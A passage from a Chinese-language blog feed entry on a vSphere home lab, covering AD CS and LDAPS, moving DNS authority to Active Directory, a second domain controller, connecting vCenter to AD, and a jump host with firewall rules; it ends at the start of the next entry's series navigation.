<code>Source</code> 不是 <code>Local CMOS Clock</code>、<code>Stratum</code> 为个位数，再往下做。</p></div><p>后面 vCenter 接 AD 推荐走 LDAPS（636 端口、SSL 加密），而 LDAPS 需要域控上有一张服务器证书。最省心、也最贴近生产做法的办法，是在 <code>yx-dc01</code> 上装一个轻量的 <strong>AD CS（Active Directory Certificate Services）企业根 CA</strong>：企业根 CA 装好后，域控会通过自动注册拿到一张可用于 LDAPS 的域控证书，636 端口随即可用，不用手工折腾证书申请。</p><p>在 Server Manager 里 Add roles and features 勾上 <strong>Active Directory Certificate Services</strong>，角色服务选 <strong>Certification Authority</strong>；装完后在通知旗标里点「Configure Active Directory Certificate Services」，CA 类型选 <strong>Enterprise → Root CA</strong>，其余走默认即可。配好后等域控自动注册到证书（或重启一次域控触发），LDAPS 就通了。</p><p>验证 636 是否在监听、证书是否就位，可以在 dc01 上用 <code>ldp.exe</code>（自带工具）连本机 636 端口，能成功绑定即说明 LDAPS 可用。</p><p><strong>导出根 CA 证书备用（5.2 接 vCenter 要用）。</strong> vCenter 信任的是签发链的根，所以导<strong>根 CA 证书</strong>而不是某台 DC 的证书——这样日后 DC 的 LDAPS 证书续期，vCenter 端不用重配。在 dc01 上管理员 CMD 一条命令导成 Base64：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">certutil -ca.cert C:\yx-rootca.der</span><br><span class="line">certutil -encode C:\yx-rootca.der C:\yx-rootca.cer</span><br></pre></td></tr></table></figure><p>要点：<strong>格式必须是 Base64（PEM 文本，以 <code>-----BEGIN CERTIFICATE-----</code> 开头），不要 DER</strong>（vCenter 上传 DER 会报格式错，导完用记事本打开能看到 BEGIN CERTIFICATE 即对）；<strong>只导公钥证书、绝不导私钥</strong>。导完把 <code>yx-rootca.cer</code> 拷到操作 vSphere Client 的那台机器上（VLAN40 可达的话走网络共享 <code>\\10.0.40.10\c$</code>（记得在宿主机加路由），或干脆把这段 Base64 文本复制粘贴过去另存即可——证书公钥不是机密）。</p><div class="note primary flat"><p><strong>生产环境对照。</strong> 我们这里是「在域控上顺手装个企业根 CA 自签 LDAPS 证书」，是实验室的简化路径。生产环境的 LDAPS 证书来自规范的企业 PKI（独立的离线根 CA + 在线从属 CA、模板化签发、有完整的轮换和吊销流程），而不是把 CA 角色和域控堆在一台机器上。把 PKI 和域控分开、把根 CA 离线，是生产里的基本盘。</p></div><div class="note info flat"><p><strong>不想装 AD CS 的降级方案，以及它的代价。</strong> 技术上 vCenter 也能用纯 LDAP（389 端口、不加密）接 AD。但要知道：微软近年把 AD 的默认行为收紧为要求 LDAP 签名 / 通道绑定（参见 ADV190023），未签名的明文 LDAP 越来越容易被域控直接拒绝；而且 389 明文会把查询账号的口令暴露在网络上。在我们这套完全隔离的实验室里，纯 LDAP 大概率能跑通，但它是「能用」不是「该用」。本篇正文按 LDAPS 走。</p></div><h2 id="3-DNS-整合：把-corp-yanxing-internal-的权威交给-AD">3 DNS 整合：把 corp.yanxing.internal 的权威交给 AD</h2><p>这是整篇里和现状衔接最关键、也最容易把 vCenter 搞挂的一步，单独成节慢慢讲。</p><p><strong>现状</strong>：在 vCenter 篇里，我们是在 OPNsense 的 Unbound 上，给 <code>yx-vc01</code> 和三台 ESXi 主机配的正/反向解析（<code>corp.yanxing.internal</code> 这个后缀下的名字，当时由 Unbound 以 host override / 本地区域的形式临时充当权威）。现在 <code>corp.yanxing.internal</code> 成了一个真正的 AD 域，AD 集成 DNS 才是这个区域天然的权威持有者。所以要做一次「权威交接」。</p><p><strong>我们采用的做法（方案 a）</strong>：让域控对 <code>corp.yanxing.internal</code> 做权威解析，对这个域之外的一切（公网、其他内网名字）由 DC 上配的转发器（forwarder）转给 OPNsense 在 SERVER 网段的接口 <code>10.0.40.1</code> 去解（不走管理网的 <code>10.0.10.1</code>，原因见下面步骤 3）；同时把原来在 Unbound 里的 <code>yx-vc01</code>、三台 ESXi 的 A/PTR 记录，在 AD DNS 里重新建出来，并把这些基础设施节点的 DNS 指向改到域控。交接完成后，内网名字由 AD DNS 统一解析，外网名字经 DC 转发器走 OPNsense 出去。</p><p>具体步骤：</p><ol><li><strong>在 AD DNS 建反向查找区域</strong>。正向区域 <code>corp.yanxing.internal</code> 提升时已自动建好；反向区域要手动加。至少建两个：管理网段的 <code>10.0.10.0/24</code>（区域名 <code>10.0.10.in-addr.arpa</code>）和业务网段的 <code>10.0.40.0/24</code>（区域名 <code>40.0.10.in-addr.arpa</code>）。都建成 AD 集成区域，这样第二台 DC 起来后会自动复制一份。</li></ol><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-07-ad-dns/20260626004130255.png" alt=""></p><ol start="2"><li><strong>重建基础设施记录</strong>。在正向区域 <code>corp.yanxing.internal</code> 里，手动补上 <code>yx-vc01 → 10.0.10.20</code>、<code>yx-esxi01 → 10.0.10.11</code>、<code>yx-esxi02 → 10.0.10.12</code>、<code>yx-esxi03 → 10.0.10.13</code> 的 A 记录（建 A 记录时勾上「同时创建关联的 PTR 记录」，反向就一并有了）。<code>yx-dc01</code> 自己的 A/PTR 在提升时已经有了。</li></ol><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-07-ad-dns/20260626004326810.png" alt=""></p><ol start="3"><li><strong>在 DC 上配转发器</strong>。DNS Manager → 服务器节点右键 Properties → Forwarders，加上 <code>10.0.40.1</code>（OPNsense 在 SERVER 网段 VLAN40 上的接口地址）。这样 DC 解不出来的公网域名会转给 OPNsense，再由它递归或继续转发出去。<strong>注意这里别图省事写 <code>10.0.10.1</code></strong>：网络篇已经做了管理网隔离，下游的 SERVER / CLIENT 网段主动访问 MGMT_NET 会被 block；DC 在 SERVER 网段，去找管理网的 <code>10.0.10.1:53</code> 很可能被你自己的规则拦下。用同网段的 <code>10.0.40.1</code> 既不绕路也不撞规则。前提是 OPNsense 的 Unbound 在 SERVER 接口上监听并允许该网段查询（默认监听 All 或已放行 SERVER 即可）。真要坚持用 <code>10.0.10.1</code>，就得在 SERVER 接口那条 block 规则上方补一条 <code>SERVER_NET → FW_MGMT_IP UDP/TCP 53 pass</code> 例外——不如直接用 <code>10.0.40.1</code> 干净。</li></ol><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-07-ad-dns/20260626004614317.png" alt=""></p><ol start="4"><li><p><strong>改各节点的 DNS 指向</strong>：</p><ul><li><code>yx-dc01</code> 自己的首选 DNS 从 <code>127.0.0.1</code> 改成指向另一台 DC、回环作备（等 dc02 起来后定为：首选 <code>10.0.40.11</code>、备用 <code>127.0.0.1</code>，这是双 DC 的推荐交叉指法，避免单台 DC 重启时自我解析卡住）。在 dc02 还没起来之前，dc01 可暂时维持 <code>127.0.0.1</code>。</li><li><code>yx-vc01</code>、<code>yx-esxi01/02/03</code> 的 DNS 从原来的 <code>10.0.10.1</code>（OPNsense）改成指向域控。<strong>此刻 dc02 还没建，先只指 <code>10.0.40.10</code> 这一台</strong>；等下一节 dc02 提升完、AD DNS 区域复制好、<code>10.0.40.11</code> 的 53/636 都确认可用之后，再把 <code>10.0.40.11</code> 加为各节点的备用 DNS。别在这一步就把备用 DNS 指向一个还不存在的地址。</li></ul></li></ol><div class="note danger flat"><p><strong>vCenter 对 DNS 极其敏感，动它的解析之前先打快照。</strong> vCenter 启动和很多内部服务都依赖 DNS 正反向解析一致，解析一旦不对，轻则 vSphere Client 服务起不来，重则一堆服务报错。动 <code>yx-vc01</code> 的 DNS 指向之前，先给 VCSA 关机打一个冷快照（若是 ELM 链接模式要给所有 VCSA 一起打）。改完之后，务必在 vc01 上正反双向都验证一遍：<code>nslookup yx-vc01.corp.yanxing.internal</code> 要解出 <code>10.0.10.20</code>，<code>nslookup 10.0.10.20</code> 要反解回 <code>yx-vc01.corp.yanxing.internal</code>；三台 ESXi 同理。正反向哪个对不上都先别往下走。</p></div><div class="note warning flat"><p><strong>改 VCSA 自己的 DNS，入口和坑都和普通机器不同。</strong> 改的地方在 VAMI（<code>https://10.0.10.20:5480</code> → Networking → nic0 → Edit），不是 vSphere Client；用 root 登。几个要点与可能踩到的报错：</p><ul><li><strong>先决条件别漏</strong>：切到 DC 之前，AD DNS 里必须已有 <code>yx-vc01</code> 的正/反向记录、且 VCSA 能到 DC 的 53（跨网段，OPNsense 要放行 MGMT→SERVER），否则 VCSA 切过去后解析不了自己会出问题。</li><li><strong>多个 DNS 用逗号分隔</strong>（<code>10.0.40.10,10.0.40.11</code>）</li><li>完成后手动重启服务。</li><li>验证别只信 <code>nslookup</code>：VCSA 的 <code>nslookup</code> 可能经本机 <code>127.0.0.1</code> 的本地解析器答出来，「能解析」不等于「能直连 DC」，跨段连通要用 <code>curl -v telnet://10.0.40.10:53</code>（或 636）实测。</li></ul></div><div class="note primary flat"><p><strong>生产环境对照，以及方案 b 的取舍。</strong> 我们选的方案 a，本质就是生产的标准形态：内网由 AD 集成 DNS 做权威解析器，所有基础设施和域成员都把 DNS 指向域控，域控再把外网请求转发出去——AD DNS 是内网的「中心」，边界设备（这里的 OPNsense）退化成纯上游转发。</p><p>另一条路是方案 b：保持 OPNsense Unbound 当主解析器不动，只在 Unbound 上对 <code>corp.yanxing.internal</code> 这个域做条件转发（conditional forward）指向 DC，让 DC 只管自己这一个 AD 区域。方案 b 的好处是完全不用碰 <code>yx-vc01</code> 和三台 ESXi 的现有 DNS 指向，对已经跑着的 vCenter 风险最低；代价是内网解析变成「OPNsense 主、AD 区域转发」的split-brain 式结构，不如方案 a 干净，也偏离生产形态。</p></div><h2 id="4-部署第二台域控-yx-dc02">4 部署第二台域控 yx-dc02</h2><p>一台域控是单点：它一挂，全公司认证和这套 AD DNS 全停。所以正经做法是至少两台域控，互为冗余——AD 数据库多主复制、DNS 区域各存一份、谁在线都能认证。</p><p>建 <code>yx-dc02</code> 的 VM 规格和 dc01 一样（2 vCPU / 4 GB / 60 GB / UEFI / <code>YX-Server</code> VLAN40）。装好系统、改名 <code>yx-dc02</code>、配静态网络：IP <code>10.0.40.11/24</code>、网关 <code>.1</code>，<strong>首选 DNS 这次要指向已经在跑的 dc01（<code>10.0.40.10</code>）</strong>——因为它要先能找到现有域才能加进去。</p><p><strong>提升之前，同样先确认 dc02 的时间是对的</strong>——和 dc01 一个道理：dc02 提升后也会自动注册一张用于 LDAPS 的域控证书，时钟不对又会埋 <code>NotBefore</code> 的雷。但 dc02 是额外域控、不是 PDC，<strong>别给它配 <code>manualpeerlist</code> 去指外部源</strong>；它提升入域后会自动跟域层级（即跟 dc01 这个 PDC）同步。所以这里只需保证它当前系统时间大致正确即可：若嵌套 VM 关机后时钟跑飞，先手动把时间设到与 dc01 一致，再提升。提升完成后用 <code>w32tm /query /status</code> 确认它的 <code>Source</code> 指向了域内的 dc01（而非 <code>Local CMOS Clock</code>）。</p><p>装 AD DS 角色后进提升向导，这次在 Deployment Configuration 选 <strong>Add a domain controller to an existing domain（向现有域添加域控）</strong>，域填 <code>corp.yanxing.internal</code>，凭据用域管理员、<strong>填 UPN 格式 <code>administrator@corp.yanxing.internal</code></strong>；Domain Controller Options 里保持勾选 DNS server（让它也成为 DNS 副本），设 DSRM 密码。装完重启。</p><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-07-ad-dns/20260626014200230.png" alt=""></p><p>重启后回到 dc01 / dc02 任一台，把双 DC 的 DNS 指向定为交叉互指 + 回环备用：dc01 首选 <code>10.0.40.11</code>、备用 <code>127.0.0.1</code>；dc02 首选 <code>10.0.40.10</code>、备用 <code>127.0.0.1</code>。AD 集成 DNS 区域会自动复制到 dc02，前面建的反向区域和手建的基础设施记录都会出现在 dc02 的 DNS Manager 里——这就是把 DNS 也做成了冗余。</p><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-07-ad-dns/20260626021754642.png" alt=""></p><p>dc02 起来后，还要补两件事，否则后面 vCenter 接入时可能踩坑：</p><ul><li><strong>确认 dc02 的 LDAPS 也通</strong>。dc01 装了企业根 CA 后域控会各自自动注册域控证书，但 dc02 若是在 CA 配好之前提升、或先注册了一张时间不对的证书，它的 636 可能虽在监听却没有可用证书——表现为连接建立后立刻 <code>Connection reset by peer</code>（TLS 握手被对端重置；这不是防火墙，防火墙是超时/拒绝）。在 dc02 上 <code>certutil -pulse</code>（必要时 <code>gpupdate /force</code> 后重启一次）触发重新注册，再用 <code>ldp.exe</code> 连 <code>yx-dc02.corp.yanxing.internal:636</code>（勾 SSL）验证能 bind。<strong>两台 DC 的 636 都必须可用</strong>——5.2 填了主备两个 URL，vCenter 探测时两台都会碰，dc02 没就绪会让整个身份源探测失败。</li><li><strong>现在才把 <code>10.0.40.11</code> 加为各节点备用 DNS</strong>。确认 dc02 的 53/636 都可用后，回到 <code>yx-vc01</code> 和三台 ESXi，把备用 DNS 补成 <code>10.0.40.11</code>（首选仍 <code>10.0.40.10</code>）。至此基础设施节点才真正有了冗余的 DNS 解析。</li></ul><div class="note primary flat"><p><strong>生产环境对照。</strong> 我们这两台 DC 跑在同一套嵌套集群、甚至可能落在同一台物理宿主上：这给到的是「逻辑冗余」（AD 复制、DNS 副本、一台 DC 软件层故障时另一台顶上），但不是「物理容错」——宿主一断电两台一起没。生产会把多台 DC 分散到不同宿主、不同机架乃至不同站点，并用 DRS 反亲和规则（anti-affinity）强制它们不落在同一台主机上。等系列收尾讲完整架构差距时，这条会再出现在总清单里。</p></div><h2 id="5-把-vCenter-接入-AD（Active-Directory-over-LDAPS）">5 把 vCenter 接入 AD（Active Directory over LDAPS）</h2><p>域和 DNS 都稳了，现在把 vCenter 接进来。这里全程在 vSphere Client 里用 <code>administrator@vsphere.local</code> 操作。</p><h3 id="5-1-准备一个查询账号和一个管理员组">5.1 准备一个查询账号和一个管理员组</h3><p>在 dc01 的 <strong>Active Directory Users and Computers</strong> 里先建好这几样：</p><ul><li><strong>一个查询账号</strong> <code>svc-vcenter-ldap</code>：长口令、口令永不过期、只需读取/浏览目录的权限（普通域用户默认就够）。vCenter 用它去 AD 查用户和组。<strong>切勿拿域管理员当查询账号</strong>——它的口令要存进 vCenter 配置，权限越小越好。</li><li><strong>一个管理员组</strong> <code>grp-vsphere-admins</code>：建成 <strong>Global / Security</strong> 组（单域环境 Global 足够；必须是 Security 组才能用于授权，Distribution 组不行）。</li><li><strong>一个你自己的个人域账号</strong>，加进 <code>grp-vsphere-admins</code>，日常用它登 vCenter。<strong>别拿内置 <code>administrator</code> 当日常账号</strong>——它权限过大、日志也分不清是谁干的。这个个人账号不需要塞进 Domain Admins，它的 vSphere 权限来自下面 5.3 对组的授权。<strong>权限授组不授人</strong>：以后人员变动只在 AD 调组成员，vCenter 侧的授权一个字都不用改。</li></ul><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-07-ad-dns/20260626022813682.png" alt=""></p><div class="note primary flat"><p><strong>生产环境对照。</strong> 生产不会只有一个超管组，而是按职责分层建组、对应 vCenter 不同角色，例如 <code>grp-vsphere-admins</code>→Administrator、<code>grp-vsphere-readonly</code>→Read-only（审计/查看）、<code>grp-vsphere-operators</code>→只能开关机/快照的自定义角色。另外，接入 AD 后也别把 SSO 本地超管 <code>administrator@vsphere.local</code> 丢一边——它是 break-glass（救急）账号：万一 AD 故障或 LDAPS 证书出问题导致域账号全登不进，还得靠它进 vCenter。日常用域账号，这个本地超管口令收好备用、别停用。</p></div><h3 id="5-2-添加-AD-over-LDAP-身份源">5.2 添加 AD over LDAP 身份源</h3><p>路径：<strong>Administration → Single Sign On → Configuration → Identity Provider</strong> 标签页 → <strong>Identity Sources</strong> → <strong>ADD</strong>，类型选 <strong>Active Directory over LDAP server</strong>。各字段按下表填（UI 字段名保持英文原样）：</p><ul><li><strong>Identity source name</strong>：<code>corp.yanxing.internal</code>（起个能认出来的名，一般就用域名）</li><li><strong>Base distinguished name for users</strong>：<code>DC=corp,DC=yanxing,DC=internal</code></li><li><strong>Base distinguished name for groups</strong>：<code>DC=corp,DC=yanxing,DC=internal</code></li><li><strong>Domain name</strong>：<code>corp.yanxing.internal</code></li><li><strong>Domain alias</strong>：<code>YANXING</code>（NetBIOS 名）</li><li><strong>Username</strong>：查询账号，填 <code>svc-vcenter-ldap@corp.yanxing.internal</code></li><li><strong>Password</strong>：该账号口令</li><li><strong>Connect to</strong>：实验里<strong>建议手填主/备两个 URL</strong>更可控：<code>ldaps://yx-dc01.corp.yanxing.internal:636</code> 和 <code>ldaps://yx-dc02.corp.yanxing.internal:636</code>。也可以选 <strong>Connect to any domain controller in the domain</strong>（靠 DNS SRV 找 DC），但用它之前要先确认 DNS SRV 记录和两台 DC 的 636 都没问题，否则 vCenter 可能随机命中尚不可用的那台。</li><li><strong>Certificates (for LDAPS)</strong>：Browse 选入前面 AD CS 根 CA 的证书（启用 LDAPS 时必填）</li></ul><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-07-ad-dns/20260626024003421.png" alt=""></p><p>填完 Add。回到 Identity Sources 列表能看到 <code>corp.yanxing.internal</code> 出现，就说明身份源加成了。</p><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-07-ad-dns/20260626033334364.png" alt=""></p><div class="note warning flat"><p><strong>几个接入时高频会踩的坑，提前说在这。</strong></p><ul><li><strong>Username 报「Invalid DN syntax.」</strong>：把用户名从 <code>svc-vcenter-ldap@corp.yanxing.internal</code> 改成完整 DN 格式再试，例如 <code>CN=svc-vcenter-ldap,CN=Users,DC=corp,DC=yanxing,DC=internal</code>。</li><li><strong>LDAPS 证书将来轮换时，不能原地改，要删了重建身份源</strong>。vCenter 的 SSO 把 LDAPS 证书的信任状态缓存在身份源条目里，证书一换，原地 Edit 经常报「Can’t contact LDAP server」这种误导性错误（其实网络和 636 都通）。正解是把这个身份源 Remove 再重新 Add（删之前先把所有字段截图记下来）。这条在生产里每隔证书有效期就要遇到一次，先知道在这。</li><li><strong>「Protected Users」组里的账号无法通过 AD over LDAP 登录</strong>：这是该接入方式的固有限制。别把要登 vCenter 的管理员账号放进 Protected Users 组。</li></ul></div><div class="note warning flat"><p><strong>身份源添加失败时按报错对症，这里只列最可能的原因。</strong></p><ul><li><strong><code>Certificate is not valid: NotBefore: &lt;未来时间&gt;</code></strong>：根 CA 在 dc01 时间没同步时签发，证书生效时间落在未来。根因是签发早于 NTP 同步，不是证书格式、也不是 vCenter——<strong>重配 CA / 重签证书</strong>即可，别去调 VCSA 时间迁就坏证书。</li><li><strong><code>Failed to probe provider connectivity … Can't contact LDAP server</code></strong>：两种常见原因。一是 VCSA（管理网）到 DC（SERVER 网）的 <strong>636 跨网段没放行</strong>；二是<strong>主备某台 DC 没有可用 LDAPS 证书</strong>（连上后立刻 reset，见 §4），回去对那台 <code>certutil -pulse</code>。端口通不通用 <code>curl -v telnet://10.0.40.10:636</code> 实测（出现 <code>Established</code> 即通），别拿 <code>nslookup</code> 代替。</li></ul></div><h3 id="5-3-把管理员组授予-vCenter-权限">5.3 把管理员组授予 vCenter 权限</h3><p>身份源只是让 vCenter「认识」AD 里的人和组，但「认识」不等于「有权限」——权限是在 Global Permissions 里把某个<strong>角色（Role）<strong>绑到某个</strong>组</strong>上的那一刻才产生的；组名叫什么不影响权限，授了哪个角色才算数。到 <strong>Administration → Access Control → Global Permissions</strong> → ADD，Domain 选 <code>corp.yanxing.internal</code>，User/Group 里找到刚建的 <code>grp-vsphere-admins</code>，Role 给 <strong>Administrator</strong>，勾上 <strong>Propagate to children</strong>。</p><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-07-ad-dns/20260626034018186.png" alt=""></p><p>然后退出登录，用你那个个人域账号验证：登录页输入 UPN 格式 <code>你的用户名@corp.yanxing.internal</code>和域口令，能进 vSphere Client 且是管理员视图，这条就通了。</p><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-07-ad-dns/20260626180630402.png" alt=""></p><div class="note primary flat"><p><strong>生产环境对照，以及 vSphere 9 的走向。</strong> 我们这里用的 AD over LDAPS，是 8.0U3 当下的推荐法，但它仍是「目录查询 + 口令在 vCenter 校验」的模式。更现代的做法是 <strong>Identity Provider Federation（身份联合）</strong>：vCenter 把认证彻底托付给一个外部 IdP（AD FS、Microsoft Entra ID、Okta 等），vCenter 自己从不经手用户口令，还能顺带拿到 MFA、条件访问这些能力。</p><p>到 vSphere 9.0，IWA（域加入法）被彻底移除：从 8.0U3 升级到 9.0 之前，必须先退出 AD 域，否则升级预检会直接报错拦住你；好在迁移时只要保持 Domain Name 和 Alias 不变，vCenter 对象上已有的权限会保留。<code>Use Windows session credentials</code>（SSPI，用当前 Windows 会话免密登录）这个能力也在 9.0 被移除。ESXi 主机的 AD 认证在 9.0 仍然支持。一句话：生产现在就该把身份统一到 AD over LDAPS 或联合身份上，别再依赖 IWA。</p></div><h2 id="6-管理跳板机-yx-jump01">6 管理跳板机 yx-jump01</h2><p>序章规划里还有一台 <code>yx-jump01</code>（管理跳板机，<code>10.0.40.30</code>），到这里正好顺势把它立起来——因为它和 AD、DNS、权限审计是一套逻辑。</p><p><strong>先说它是什么、为什么这篇补。</strong> 跳板机（jump host，也叫堡垒机 bastion）是一台专门用于进入内网管理面的中转主机：运维人员不再从外部或宿主机直接访问内部资产，而是先登录到这台受控主机，再从它出发去管理 vCenter、ESXi、域控、TrueNAS 等组件。把它放在身份篇补，是因为它应该长在内网里、加入 <code>corp.yanxing.internal</code> 域、用域账号登录，并通过 AD DNS 解析内部主机名——这样从它出发，名称解析、账号审计、访问路径都能纳入同一套体系。</p><p>这也正好对照出我们前面一直在用的&quot;土办法&quot;：直接拿宿主机，也就是那台 Windows 笔记本裸连内部环境。宿主机游离在 AD 体系之外，所以一路上会遇到&quot;解析不出 <code>yx-vc01</code>、访问 <code>\\10.0.40.10\c$</code> 要在宿主加路由、打开 VAMI 只能用 IP&quot;这些别扭。换成一台加了域的跳板机，这些绕路就少很多：它在内部 DNS 体系里，能用域账号登录，也能作为统一的运维入口。</p><p><strong>但有一个跨网段的前提必须先开。</strong> <code>yx-jump01</code> 放在 <code>YX-Server</code>（VLAN40 / <code>10.0.40.0/24</code>）里，而网络篇已经做了管理网隔离，默认阻断 <code>SERVER_NET → MGMT_NET</code>。所以跳板机要管理 vCenter / ESXi，必须在 OPNsense 上单独给它开一条精确例外——这又是本系列反复出现的那类&quot;反方向口子&quot;（和 DNS 的 53、LDAPS 的 636、NTP 的 123 一样，都是下游网段主动访问管理网、方向与隔离规则相反，最容易漏）：</p><table><thead><tr><th>Interface</th><th>Action</th><th>Source</th><th>Destination</th><th>Port</th><th>说明</th></tr></thead><tbody><tr><td>SERVER</td><td>pass</td><td><code>10.0.40.30</code> / <code>JUMP_HOST</code></td><td><code>MGMT_NET</code></td><td>443、按需 5480 / 902 / 22</td><td>只放跳板机进管理网</td></tr><tr><td>SERVER</td><td>block</td><td><code>SERVER_NET</code></td><td><code>MGMT_NET</code></td><td>any</td><td>阻断其它服务器主动进管理网</td></tr></tbody></table><p>这条 <code>JUMP_HOST → MGMT_NET</code> 的 pass 规则必须放在原来的 <code>SERVER_NET → MGMT_NET</code> block 规则<strong>上方</strong>，否则会被 block 先命中而失效。端口按需最小放行（443 走 vSphere Client / VAMI / ESXi、5480 走 VAMI、902 走 ESXi 控制台、22 走 SSH），别图省事开 <code>any</code>——这样就形成&quot;普通业务网主机进不了管理网，只有跳板机能作为受控入口&quot;的姿态。</p><div class="note primary flat"><p><strong>生产环境对照。</strong> 真实企业里，管理入口通常不会是&quot;某台什么都干的机器裸连&quot;，而是一套专职堡垒机 / PAM / 管理入口体系：只开放极少入口，配合 MFA、会话审计、命令记录、最小权限和访问审批；内部资产只接受来自指定跳板机或管理网段的连接，其它来源一律拒绝。这个角色在等保、ISO 27001、PCI-DSS 等合规场景里通常也是重点检查对象；云上也有类似形态，例如 AWS Session Manager / bastion、Azure Bastion，以及 CyberArk、JumpServer 等专门产品。我们这套实验室全程用宿主机凑合，是为了省内存和简化流程；生产里这类管理入口是收敛、加固、审计管理访问的关键一环，不应省略。</p></div><p><strong>一个轻量部署示例。</strong> 在本实验内存吃紧的前提下，跳板机给最小配置即可；甚至可以平时关机，要集中运维时再开：</p><ul><li>建一台小 VM <code>yx-jump01</code>：2 vCPU、4 GB 内存、UEFI、网络挂到 <code>YX-Server</code>（VLAN40）端口组；操作系统可用 Windows Server 评估版，复用前面的 ISO。这里以 Windows 为例，方便安装图形化管理工具。</li><li>静态网络：IP <code>10.0.40.30/24</code>，网关 <code>10.0.40.1</code>，DNS 指向两台域控 <code>10.0.40.10</code> / <code>10.0.40.11</code>。</li><li>加入 <code>corp.yanxing.internal</code> 域：系统属性里改域，用域管理员凭据；凭据建议用 UPN 格式，例如 <code>administrator@corp.yanxing.internal</code>，避开 down-level 格式在未加域机器上偶发的定位问题。</li><li>安装日常运维工具：RSAT（Active Directory Users and Computers、DNS Manager 等）、浏览器、SSH 客户端，按需再装 PowerCLI。开好上面那条例外规则后，日常管理尽量从这台跳板机进入：浏览器里访问 <code>https://yx-vc01.corp.yanxing.internal/ui</code>、<code>https://yx-vc01.corp.yanxing.internal:5480</code>，或访问三台 ESXi 的 FQDN，而不是继续从宿主机到处用 IP 和静态路由绕进去。</li></ul><div class="note warning flat"><p><strong>内存又紧一格，按需开关。</strong> 这台虽然只有 4 GB，但宿主已经贴边，常驻会再吃一份资源。建议把它当作&quot;按需运维入口&quot;：集中管理时开机，平时可关掉腾内存；或者只把它作为概念演示部署一遍，日常仍临时用宿主机顶替。这和前面&quot;按需关 <code>yx-test01</code> / 压 esxi02、esxi03 内存&quot;的思路一致。</p></div><h2 id="7-验证与检查点">7 验证与检查点</h2><p>把这一篇该绿的都绿一遍再收工：</p><ul><li><strong>域账号登录</strong>：用 <code>grp-vsphere-admins</code> 里的域账号能登进 vCenter 且为管理员——这是本篇的主目标。</li><li><strong>DNS 正反向</strong>：在 <code>yx-vc01</code> 和三台 ESXi 上分别 <code>nslookup</code> 自己的 FQDN 和 IP，正向、反向都对得上；外网名字（如某公网域名）也能经 DC 转发器解析出去。</li><li><strong>两台 DC 复制健康</strong>：在任一 DC 上跑 <code>repadmin /replsummary</code>（汇总无报错、无大 delta）、<code>repadmin /showrepl</code>（各方向 last success 时间新鲜），再跑一遍 <code>dcdiag /v</code> 看各项检查通过。两台 DC 的 DNS Manager 里 <code>corp.yanxing.internal</code> 区域内容一致，说明 AD 集成 DNS 复制正常。</li><li><strong>集群面板照旧</strong>：vSAN / HA / DRS 仍然全绿，Skyline 没有新增红项（嵌套环境固有的 HCL / 监控类预期告警沿用前几篇的判断口径，核心数据面绿即可）。</li></ul><div class="note success flat"><p><strong>到这里，砚行物流的平台第一次有了「公司身份」。</strong> 计算、网络、存储、高可用之上，现在叠了统一的目录与认证，<code>YX-Server</code>(VLAN40) 也住进了它的头两台正式服务器。从此加人减权都在 AD 里完成，vCenter 只认组、不管人。</p></div><h2 id="结语：下一篇把时间对齐">结语：下一篇把时间对齐</h2><p>身份立住了，还剩最后一块地基没夯实——时间。AD 域里，PDC 模拟器是整个域的时间权威，域成员都跟着它走；而 vSAN、HA 这些恰恰对时间同步很敏感（Skyline 里就有「主机与 VC 时间是否同步」这一项），时间一漂就会出问题。下一篇（也是本系列最后一篇）会把整套时间层级理顺到域控上，顺手收回当初在网络篇为 OPNsense 开的那条 NTP 放行规则，再补讲一直推迟到收尾才讲的 vLCM 镜像，最后对砚行物流这套从物理规划一路走到身份与时间的平台，做一次整体回顾和「实验 vs 生产」的总差距清单。</p><!-- flag of hidden posts -->]]>
    </content>
    <id>https://www.catwhiteangel.com/enterprise-vsphere-lab-07-ad-dns/</id>
    <link href="https://www.catwhiteangel.com/enterprise-vsphere-lab-07-ad-dns/"/>
    <published>2026-06-25T11:08:00.000Z</published>
    <summary>部署一对冗余域控建立 AD 域，由 AD 集成 DNS 接管内网权威解析并与 OPNsense 完成解析权交接，再将 vCenter 以外部身份源方式接入 AD，替代单一 administrator@vsphere.local 账号的管理模式。</summary>
    <title>从零搭建企业虚拟化平台7——身份：Active Directory 域控与 DNS 整合</title>
    <updated>2026-06-25T11:08:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>还魂灵猫</name>
    </author>
    <category term="Virtualization" scheme="https://www.catwhiteangel.com/categories/Virtualization/"/>
    <category term="vSphere Lab" scheme="https://www.catwhiteangel.com/categories/Virtualization/vSphere-Lab/"/>
    <category term="VMware" scheme="https://www.catwhiteangel.com/tags/VMware/"/>
    <category term="vSphere" scheme="https://www.catwhiteangel.com/tags/vSphere/"/>
    <category term="HA" scheme="https://www.catwhiteangel.com/tags/HA/"/>
    <category term="DRS" scheme="https://www.catwhiteangel.com/tags/DRS/"/>
    <content>
      <![CDATA[<h1>从零搭建企业虚拟化平台6——高可用：vSphere HA 与 DRS 配置与故障演示</h1><div class="note info flat"><p><strong>📚 从零搭建企业虚拟化平台 · 全系列导航</strong></p><ul><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-00-prologue/">平台0 · 序章：缘起与全局规划</a></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-01-environment/">平台1 · 环境：OPNsense 与网段搭建</a></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-02-esxi/">平台2 · 计算：三台嵌套 ESXi</a></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-03-vcenter/">平台3 · vCenter：部署与建集群</a></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-04-network/">平台4 · 网络：vDS 与端口组</a></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-05-storage/">平台5 · 存储：vSAN 全闪</a></li><li><strong>平台6 · 高可用：HA 与 DRS　← 本篇</strong></li><li><a 